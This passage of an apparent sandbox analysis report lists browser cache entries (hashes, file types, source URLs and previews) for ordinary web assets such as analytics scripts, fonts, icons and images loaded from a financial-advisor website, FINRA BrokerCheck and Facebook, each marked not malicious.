File Type:	ASCII text, with very long lines (7779)
Category:	downloaded
Size (bytes):	9071
Entropy (8bit):	5.351775107407577
Encrypted:	false
SSDEEP:	192:imbncZuAH54wHePVCo4CkelHJB5ZAfhKwTxgfIGK8yB5NP:RbncuxseSelvzgbrB5NP
MD5:	0CF943EE722B6105736BB64AF65B77EC
SHA1:	3C704050F6E8DD0CC21F39F56703B480CEA6722F
SHA-256:	88DC479D25CB5AE1E04B30E92FB1E18A063D48C105CA806D2C797DE2BC555FFD
SHA-512:	204E30089A60A2B9BBF1532DF5CC7F506FCE597428045D8E053CED8C04C7DCCDB9A90D0421EB9D5E15BE0044E8B0F28E9425A42E15FD009865249D4E50594368
Malicious:	false
Reputation:	low
URL:	https://static.hotjar.com/c/hotjar-231701.js?sv=7
Preview:	window.hjSiteSettings = window.hjSiteSettings \|\| {"site_id":231701,"rec_value":0.0,"state_change_listen_mode":"automatic","record":true,"continuous_capture_enabled":true,"recording_capture_keystrokes":true,"session_capture_console_consent":true,"anonymize_digits":false,"anonymize_emails":false,"suppress_all":false,"suppress_all_on_specific_pages":[],"suppress_text":false,"suppress_location":false,"user_attributes_enabled":false,"legal_name":null,"privacy_policy_url":null,"deferred_page_contents":[],"record_targeting_rules":[],"feedback_widgets":[],"heatmaps":[],"polls":[],"integrations":{"google_analytics":{"hjuid_dimension_index":"2","tag_sessions":true,"send_hotjar_id":true},"optimizely":{"tag_recordings":false},"abtasty":{"tag_recordings":false},"kissmetrics":{"send_user_id":false},"mixpanel":{"send_events":false},"unbounce":{"tag_recordings":false},"google_optimize":{"tag_recordings":false},"hubspot":{"enabled":false,"send_recordings":false,"send_surveys":false}},"features":["setti

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2143
Entropy (8bit):	7.489483693830243
Encrypted:	false
SSDEEP:	48:g1uNn2vwJ3xmgCyq0Qgyr7fE/wFnBtqpa1ieucoFl/ss:p2QpRqmyffE/sBca1rucoFl/ss
MD5:	66DEFE8841303A7111155EC339692120
SHA1:	FDAF81A3525E7E8BB02678193490DB11180CF746
SHA-256:	F3D5254125DCC9E3FCD12595CBA2D1912F04D8080B84535ECF336DD4A1E9B868
SHA-512:	44E08395CE1ED21997D0956FC2E42C700CD49F9CE1F5C2B23386D23ADE5F55D28BAF51BACCA94DAA6CC53F6C8DEBA7FC044DCDFDB0277AD6ACC9052451B00438
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/images/linkedin-28.png
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:DD7DABDA1B9F11E8AEF493D9E1EE3689" xmpMM:DocumentID="xmp.did:DD7DABDB1B9F11E8AEF493D9E1EE3689"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DD7DABD81B9F11E8AEF493D9E1EE3689" stRef:documentID="xmp.did:DD7DABD91B9F11E8AEF493D9E1EE3689"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.K.6....IDATx.V.k\U...}o&3...I'..........m. ..B....D.M.Eu...7.....Ui-..E".Zl45....&Nl...~.].s.d2.IB2>r_.w...s

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.87377555746297
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKeHZQx66FTEVgWaee:PLKdXNQKOyo6FIVgL
MD5:	701C50FE2F9D8CFCA61542DEE7684552
SHA1:	952A04F81A291E11F5D4ECD7364A3840412BA65E
SHA-256:	9FC5DFC54DE18E9C98733BBEA6EBDCBC1F01C0B23F985556F24684EE96DC0582
SHA-512:	5CA3C342F4BE563EE68235F32BCB8B25B62215A961B903B3568C496FCAD4508B9408FBDE00C6592085A819826630462863630F888FE73348F13FC037A9AB2C99
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js');

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	201
Entropy (8bit):	5.1438285092683405
Encrypted:	false
SSDEEP:	3:tRBRNqcwR+8PsVq3B5RL5MWkDmJS4RKb5KVErcHgSAJIi/VJgrH2b4qHfqoW0:tnrZW6mRVMW4mc4slmUYr2RHSY
MD5:	DAF7C1053E08E600E06C4115BF2181B4
SHA1:	452C1516E428C937762CAC0842AEC6FB3E48C84B
SHA-256:	D960843FE85CFD71159433734ACD16A8406BCE0491BEF7C4C361D6139168C64E
SHA-512:	F810C6E594588682F384F40061B34FA6395CE470ECF73DFB81BED510CE59337582B0B3B67E06A769888CE853E879C3DFC28A986951FA29446BC5995579B8EDCA
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/cyolgscd0imw2ldqppkrb84vo
Preview:	<svg width="16" height="16" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><path d="M8 9l5.93-4L15 6.54l-6.15 4.2a1.5 1.5 0 01-1.69 0L1 6.54 2.07 5z" fill="currentColor"/></svg>

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	136
Entropy (8bit):	4.331129693810754
Encrypted:	false
SSDEEP:	3:lSg/7Ei2kJiJv//FvEWpBCEnTUallAEYJ/FwA3fFi5Y3:l4i0Jv/GWpBHl+CMFz3
MD5:	0EA5FEAF382929EE8D7D373616AD4F2B
SHA1:	D8436AD2A40A17D2674B43423D258872C5C261B9
SHA-256:	B799475768E42477CF17373FEB2ED196533AD8B7F1080C7B9FDCE9AD9FEEAD79
SHA-512:	2E940E109D09D71C98B467245001673FAE681D4518171C9180422D1DE1399A3B074E1B42E64ED59AF97A531F7DB97D88FA7A8C07A92E7C9CE1BDD7EF73B853EA
Malicious:	false
Reputation:	low
Preview:	{. "versions": [. {. "tag": "stable",. "hash": "e540f3c52a6751e4d611f543eb1b84fcb13f2a67",. "weight": 1. }. ].}..

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, copyright=Copyright (c) 2015 Lemau Studio/Shutterstock. No use without permission.], progressive, precision 8, 154x154, components 3
Category:	dropped
Size (bytes):	4937
Entropy (8bit):	7.715082861624795
Encrypted:	false
SSDEEP:	96:Vc33KnsLoQXOAeilZaO4NrE6gh3LzD1IG5RwwKAbeXvn1Umgaayd:M3ToHAeEZ4NrE1hXDaYRRLiv1Umgaayd
MD5:	E9A7DB1637179A5D99FE1365B5E8ADCD
SHA1:	68665B190FC7E0C5390F05F04D9386984C3480EC
SHA-256:	2087A7BCA86E45FC5287B5A1833EC154011DF7AEF9F7E9D872226747A730EA83
SHA-512:	ECD15B2E2296EB6F34575A80FD55D1BAAC369FA8B3D9778CE9D9E8FB32E6253A8ADF8E2B1322F45A9E626D584612857C5347C631AB300B76CE9BDB5DC3EF2A4D
Malicious:	false
Reputation:	low
Preview:	......JFIF.............lExif..MM..............J........Copyright (c) 2015 Lemau Studio/Shutterstock. No use without permission......http://ns.adobe.com/xap/1.0/.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/". xmpRights:WebStatement="https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=webstatement"/>. </rdf:RDF>.</x:xmpmeta>.....Photoshop 3.0.8BIM..........t.ICopyright (c) 2015 Lemau Studio/Shutterstock. No use without permission...P..Lemau Studio..(.bFBMD0a000ae20300005b050000e6060000340700009c070000fc080000b80b0000300c0000910c00000b0d000049130000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."....................................................................

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	374
Entropy (8bit):	4.951458149386554
Encrypted:	false
SSDEEP:	6:U5A9JOqmUDaENrwvJAE93qa4VEC+7A0FXfInjn9vytWq3tVEOUWqmXVwW4VEOUWo:Ue9JOKcvJhxT4uCy3FXfIJatWcuO9XCg
MD5:	73D29ECB3AE4EB2B78712FAB3A46D32D
SHA1:	05EA352AB14CCF04386A4C7D112AD4FEC944D551
SHA-256:	C2711E9EDC60964DCB5AADA1BFA59C2D68D3D9DC1BAF4A5EE058B4C1BD32C3EB
SHA-512:	7623BF487F1BCF2978090AD34D1B316381B69328007B364F20A17016B511BB08735075E32C47877B1450BBB27B5B628A647FD5D87AA670CD77BD42016FEBA78C
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70
Preview:	/.Default style for WP-PageNavi plugin..http://wordpress.org/extend/plugins/wp-pagenavi/./...wp-pagenavi {..clear: both;.}...wp-pagenavi a, .wp-pagenavi span {..text-decoration: none;..border: 1px solid #BFBFBF;..padding: 3px 5px;..margin: 2px;.}...wp-pagenavi a:hover, .wp-pagenavi span.current {..border-color: #000;.}...wp-pagenavi span.current {..font-weight: bold;.}.

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	332137
Entropy (8bit):	5.435569120876556
Encrypted:	false
SSDEEP:	6144:tySHGHAnAnytrumA3xBRd8kClgU0kX7x3rv/lZ:tySHGHAnAny9umA3xB8VgUDZrv/lZ
MD5:	91D74DCDE3ADB44C480C71E33AF224C1
SHA1:	6C152F0675226FC74EDA11ED4BAC8F5EA7EDEA67
SHA-256:	B5CD2F0F6EE418AFAE74A3A1D3A174A11BCDAFA681C47FC6043D8F2728B839C2
SHA-512:	919BF1EF46833FE72386B5BE6BAB94D2F85C7CA90AD9656B570250D7E0E83568B336BD666B754BF074BCB75BA9D7DE2E10C1787A7F7E9CDB7B2CA8D867CA45A9
Malicious:	false
Reputation:	low
URL:	https://static.support.finra.org/external/ecc-widgets.js
Preview:	(()=>{"use strict";var e,_={},b={};function n(e){var a=b[e];if(void 0!==a)return a.exports;var r=b[e]={exports:{}};return _[e](r,r.exports,n),r.exports}n.m=_,e=[],n.O=(a,r,t,c)=>{if(!r){var o=1/0;for(f=0;f<e.length;f++){for(var[r,t,c]=e[f],s=!0,l=0;l<r.length;l++)(!1&c\|\|o>=c)&&Object.keys(n.O).every(i=>n.O[i](r[l]))?r.splice(l--,1):(s=!1,c<o&&(o=c));if(s){e.splice(f--,1);var u=t();void 0!==u&&(a=u)}}return a}c=c\|\|0;for(var f=e.length;f>0&&e[f-1][2]>c;f--)e[f]=e[f-1];e[f]=[r,t,c]},n.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return n.d(a,{a}),a},n.d=(e,a)=>{for(var r in a)n.o(a,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:a[r]})},n.o=(e,a)=>Object.prototype.hasOwnProperty.call(e,a),(()=>{var e={666:0};n.O.j=t=>0===e[t];var a=(t,c)=>{var l,u,[f,o,s]=c,v=0;if(f.some(h=>0!==e[h])){for(l in o)n.o(o,l)&&(n.m[l]=o[l]);if(s)var d=s(n)}for(t&&t(c);v<f.length;v++)n.o(e,u=f[v])&&e[u]&&e[u][0](),e[u]=0;return n.O(d)},r=self.webpackChunkecc=self.webpackChunkecc\|\|[];r.forEach(a.b

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4275)
Category:	dropped
Size (bytes):	7945
Entropy (8bit):	5.1642382510387606
Encrypted:	false
SSDEEP:	192:mjpzHmyLThQoV11jZo6Bh34LgrXGGK87JHsfvhBfA3/gAtLUu:mjpbLr/eByHUu
MD5:	088C1F7CDCA41CB4E3E49F213B9C4587
SHA1:	A6A9C67E78B34DE0EE3CD245B5CD6F5A5E94A387
SHA-256:	A9192D979731226F24B6312E09586F9ACBBB43BB8ED11EC0BA0D7814F2DD39E2
SHA-512:	18D693D9C4AF0D93AB342451537D939FBFA21CB03CAD450B3D87E1C5C582BC08245A22CE58306FB3835409C98A19899F18F492D145B9E7145C6F787D6C3B644A
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang="en" data-critters-container>. <head>. Google Tag Manager -->. <script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':. new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],. j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=. 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);. })(window,document,'script','dataLayer','GTM-TMF86NW');</script>. End Google Tag Manager -->. <title>BrokerCheck - Find a broker, investment or financial advisor</title>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width,height=device-height, initial-scale=1.0">. <meta name="ROBOTS" content="NOARCHIVE">. <meta name="description" content="BrokerCheck is a trusted tool that shows you employment history, certifications, licenses, and any violations for brokers and investment advisors.">. <meta name="msapplication-config" conten

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 30928, version 0.0
Category:	downloaded
Size (bytes):	30928
Entropy (8bit):	7.982877049134262
Encrypted:	false
SSDEEP:	384:15ABqojR871HRuFyYbmOTtwyUm0QR3wP5VZ2xfdPfwB0Ch8xKLUdt3/rXFw:0S1HObTfH+RVZ2xRfO0vuUb3/TFw
MD5:	364995ECED97AA9C15C4BF0249E7D713
SHA1:	A62A02AC56F2C5D1D74BB1F5AC48682A966F7E48
SHA-256:	4FA43A8ABA415BB9419BB34560B0A95869034745EDA0CCC690E8F9A92255F0C4
SHA-512:	3528F0D692877FB0A5720EE21EC7C1369323BE1871289336AE0A99F244058C75EB1D9B0DE7C4B3FE1E820ADFEAAAFB6900EEAC5935D43DD7C5378B4D4A14E2DC
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/GothamMedium.woff
Preview:	wOFF......x.................................GDEF..s.............GPOS..s....z......lGSUB..tT...&.......LTSH............yx..OS/2...4...Y...`k.>ZVDMX..u\|...S....riy.cmap...............cvt ............. ..fpgm...p...8....h.2agasp..s.............glyf......X....0.&C.hdmx.............e'.head.......5...6.b..hhea....... ...$.v..hmtx.......G....../.loca..n.........8"..maxp....... ... .;.Mname..pp.........g3Ppost..rD...x.....zc.prep.......U...v.q.Zx.c`d``.b......6_.$._.E...\..wg...?.e.., ....$..]h.9...x.c`d``..?......]./..a....G....[.......G.D......................x.c`b........i.S...C..f..`..........D.400.w``.`....`.....LL..'083.bX...(..c.b.....X.V......x.m.?h.Q..w/..5(......$&...1(iD..Z...B..QqS:8.*R.!]DD...E...8.`.....P.&P.....E......{...T...m..'d......B.;...!"..+s...G'q.ka...cN7..u..r.m:.N......z.q-.[G.s...H.6.%...3dX......Z...(...].c..QtA.u.E.`T.h.\...s......F...I.?.]Z..#.(Q.g..yl.W8$.1D.5.T.....5.........(!..<k.P...K...y.=.1..:....'..W....0..:.67..co.9....qR.q.q.\|c....

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 83760, version 1.0
Category:	downloaded
Size (bytes):	83760
Entropy (8bit):	7.995200734213273
Encrypted:	true
SSDEEP:	1536:ioGcwJ8Nw/KjI0XbEzFg4CwE34IgCjORCiQw42QrHJB0kY1V8QafpMQADLmwnbpR:io1wSw/KjI+o5js4IgCqvQpbrjY1V+GZ
MD5:	FDF491CE5FF5B2DA02708CD0E9864719
SHA1:	7F2F3C55C2DE192387C351B995115F6B79E09173
SHA-256:	66DB52B456EFE7E29CEC11FA09421D03CB09E37ED1B567307EC0444FD605CE31
SHA-512:	80FDFDE7EABD3E7D74AB6DF84AB6C8FEA4CCE1C1AC27ACB7CB92B03424DDBA642076C464F09111DDD03E59119A165BF4C131A749C724834C07AB599A32AA5863
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/font-awesome/fonts/fontawesome-webfont.woff?v=4.1.0
Preview:	wOFF......G0......(.........................FFTM............g+.YGDEF........... ....OS/2.......>...`..z7cmap.......A.......Jcvt ...@...(...(....fpgm...h.......eS./.gasp................glyf...$... ......B.head..3D...1...6.h8.hhea..3x.......$....hmtx..3...........~loca..5..........=.maxp..9d....... ...{name..9........XP.x.post..;...........prep..F...........+.webf..G(..........Ss.........=.......Tt .....wix.c`d``..b...`b`d`d\|.$Y.<.....#.x.c`fcc........b...........\|........A.+.... ...Q.H1")Q``.....8..x...J.q....VY...Zb.B..@...MP.........6"."Z....2./..........M.40g8p......F.'.R2.-g\|z....>E.i9..tJE:.+.6..y......z_<...D%.IIKV.R..T.!m....6.F.q$.F.y.q..hwHkk.~2...:.KP"....$#9)HIR......[. ..R. ..J........>.{zW....t.y...{...5..*........<..`;..`RZ...zS..E=...'...fnG...2\4^a.,.}..^..j..t.L.}?&...~............p.%.....t.F...#.........f...M.'....x.]Q.N[A........ 9......{.....bd;...i7r..q..@.D......H..!.H\|B>!.3k..4;;.s.3K..w.k.S.$.....6.NH..........Zlf..u......;j..=

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=1, copyright=Copyright (c) 2018 StacieStauffSmith Photos/Shutterstock. No use without permission.], baseline, precision 8, 560x292, components 3
Category:	downloaded
Size (bytes):	157844
Entropy (8bit):	7.980209213976073
Encrypted:	false
SSDEEP:	3072:T58lLszkP3bHzCLtnzQvub0zmiB2IYiKxe7T2TvoQnGEBvNCASsptnn5:CLPzCzQU01h1WbtSet5
MD5:	E202972EA6AC7C40AD11E91F4A28A298
SHA1:	AE3FC6A63A814F5736BCA0B7F205B22D849899F8
SHA-256:	C691CB374E85CDB13954A3B6286BAAF6F06D37A2B9AD472E32679B1D374E584D
SHA-512:	86821E6740EF34C06214E12495ECDBA20E71981FAC7A7F3686037887C16EF5D4D919A49E6065AC97DDF81BE8125A661F3B07CA8BD1587DA80F30E06E949E6738
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2024/04/beach-houses.jpg
Preview:	.....zExif..II*...........V...........Copyright (c) 2018 StacieStauffSmith Photos/Shutterstock. No use without permission........Ducky.......d.....khttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:WebStatement="https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=webstatement" xmpMM:DocumentID="xmp.did:BEE55430DAF511EEAC1FA9F9E95F29B7" xmpMM:InstanceID="xmp.iid:BEE5542FDAF511EEAC1FA9F9E95F29B7" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	41312
Entropy (8bit):	4.825481567299957
Encrypted:	false
SSDEEP:	192:GP6kdOuWJzdpIoei6ZgpXVOa09ZQQ499iqais2BJiQ5VU/niXUz+Fblh:FsOu3i6EOxmiq1iGMiy+Fbf
MD5:	33E7F875C221F9E28777811E010D60E0
SHA1:	D9A537CCAEDB3C22C698A80B5B98830EBAF7ACA0
SHA-256:	94D05B18591167FE6B630EC374669161780D4A71818F1963344FA8CD408A48C7
SHA-512:	9BBF90145CBCA6BC3AD1D5A4B5138CF02EC068D93A3E22998A7D4D0A5AF5A355F21C4976D600CC420C30EB8D2F25BB4315C9DFD0B7A7B4123955F6FE09A879DA
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/v4-shims.css?ver=5.13.0
Preview:	/!. Font Awesome Free 5.13.0 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa.fa-glass:before {. content: "\f000"; }...fa.fa-meetup {. font-family: 'Font Awesome 5 Brands';. font-weight: 400; }...fa.fa-star-o {. font-family: 'Font Awesome 5 Free';. font-weight: 400; }...fa.fa-star-o:before {. content: "\f005"; }...fa.fa-remove:before {. content: "\f00d"; }...fa.fa-close:before {. content: "\f00d"; }...fa.fa-gear:before {. content: "\f013"; }...fa.fa-trash-o {. font-family: 'Font Awesome 5 Free';. font-weight: 400; }...fa.fa-trash-o:before {. content: "\f2ed"; }...fa.fa-file-o {. font-family: 'Font Awesome 5 Free';. font-weight: 400; }...fa.fa-file-o:before {. content: "\f15b"; }...fa.fa-clock-o {. font-family: 'Font Awesome 5 Free';. font-weight: 400; }...fa.fa-clock-o:before {. content: "\f017"; }...fa.fa-arrow-circle-o-down {. font-family: 'Font Awesome 5

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2359
Entropy (8bit):	7.555021271457985
Encrypted:	false
SSDEEP:	48:0uNn2viJ3FexkLqCqsOqiAhnAdoGXYdP0rgana75YzFn5:T2+skLygiAhooGXa0NaF+F5
MD5:	6D12E5E8B0E7D0500254641A0A1205AC
SHA1:	9788947D5E67E4FC730BFF33BD5BF149D509DD51
SHA-256:	90823BD8403BD3A5EFA1C8F5402A5D5CFC0DB8D4C6250A5A8DB9191B26EB9B28
SHA-512:	4BEA214DCFAEB1BAF0933D5FB1D86E54C515D355511C1CD3C332A3E6428466563EA8B4D0FDA766650DF2E719B0D63DFD3573CEAF4017C25839B9EF4D448C76FE
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/images/facebook-50.png
Preview:	.PNG........IHDR...2...2......?......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:6027348D1B9E11E8A77384F758A55DA8" xmpMM:DocumentID="xmp.did:6027348E1B9E11E8A77384F758A55DA8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6027348B1B9E11E8A77384F758A55DA8" stRef:documentID="xmp.did:6027348C1B9E11E8A77384F758A55DA8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..bQ....IDATx..Z[l.U..wfo-....+mU.(.x....1..D./..\|.....h..llH.....L..1!h...- .Di..Vh...n....g...nw..n-...-.3{.9.

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 960x240, components 3
Category:	downloaded
Size (bytes):	27354
Entropy (8bit):	7.9702467264413865
Encrypted:	false
SSDEEP:	768:NLJdToPQSfeatk0KOSbedvJirEzvLTL+IqqETbzoh:NLJ1aFltkZredv0rE/T/Gzoh
MD5:	750B733EFB835C76EDCB4507FA653237
SHA1:	1E7724158F5E893A12465FDC883178BE4479AA8D
SHA-256:	9E440BFCB18A6E18279DD902E9006C28DBD6E243423E5D356EC3DE050822BAB4
SHA-512:	90BD997AB43F3FCC6854132643474271C8A1175A6B673865AD120E8346825AA1189E3BBC26F13544793D56FC5355E437628CFD87E6D61F8994B6206747DE0763
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-2.xx.fbcdn.net/v/t1.6435-9/206212128_286310049560622_2434215158864310035_n.jpg?stp=dst-jpg_s960x960&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=Uq8wNHIYnA8Ab5AZxYo&_nc_ht=scontent-lga3-2.xx&oh=00_AfAF4pxDyNudHF7xMFtcXwy7ef2UAhVnPQNVbUvBDAjIZg&oe=663FD0B6
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a700100001209000097130000d814000001160000cd1d00000d370000f1390000333b0000503c0000da6a0000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."..................................................................................e)D.....5$@.b.J..d..-.QjL......@.;..R...ga..R.!,.3!V..I.v...)J ...!.!..b.J...1.Y.R......hl.Y......4..h..f.cfPJ@l....IT..q.D.L.j.hA...4.....#H.N45.YBh.'....-..5...dZ#@k0..2...@.Z..k,ec@.T4.Q.Md.aL..r.......!j(..z...5..G ..K:...-...h2..d-8.QRXS:.....C.2......Fe5.A.3.&.!).[.)...B.!...h...k6...."..MTD...h.&.(K:.!s...,. ..:..)...:.............cA...2........"..MH...9.@...,.#.5f6 ...V..G#..d+P.."..2....X.f.JR..@1.Y*....4.Z..gd9a....!..F#6.5.....Q..a.G#..d+P.H.v.....YG...R.D.&..O."4.%....dDA2.....hD..DF..WY.w..I.o..,.n.5.s..3.k..Mr_d..Y.SE..~}.+.=...N.....g_k~.?q."....&_.M...77..\|..\...Y.f

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10908)
Category:	downloaded
Size (bytes):	57080
Entropy (8bit):	5.679985253887552
Encrypted:	false
SSDEEP:	768:nzyP536tv3LKgHo6UBs86b6KoPoq/LjRbeQ/Ww3WE0m17Fl8WIM79:s5MLKgHZgsFbToPrjRbT+wmE0adIO
MD5:	08103DE7B9015524009FC5A50E33609B
SHA1:	27A8E3E2B92149BC18CC8BF23C290A66F2F25877
SHA-256:	DED323B234084A686B98A621AD92DD0B1F3E4ACB75C3AC6CABC2F9FABCB8A3B1
SHA-512:	94FC729B4C70BCB57CAFF2B321CEECF89AB9A82339CE44DF7154028605DD3EDD520090CA00DC238C937BB1CAEB020547FFBDA86C569E5CC2BF683B8B4269A5BB
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3iWd-4/yL/l/en_US/VMVbV95MTD9.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometFeedStoryMenuQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="25235006452811523"}),null);.__d("CometFeedStoryMenuQuery$Parameters",["CometFeedStoryMenuQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a={kind:"PreloadableConcreteRequest",params:{id:b("CometFeedStoryMenuQuery_facebookRelayOperation"),metadata:{},name:"CometFeedStoryMenuQuery",operationKind:"query",text:null}};e.exports=a}),null);.__d("CometFeedStoryMenuSection_promotion.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometFeedStoryMenuSection_promotion",selections:[{alias:null,args:null,concreteType:"QuickPromotion",kind:"LinkedField",name:"local_alerts_story_menu_promotion",plural:!1,selections:[{args:null,kind:"FragmentSpread",name:"useCometTooltipQP_quickPromotion"}],storageKey:null}],type:"CometFeedStoryDefaultContextLayoutStrategy",abstractKey:null};e.exports=a}),null);.__d("useCometTooltipQ

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
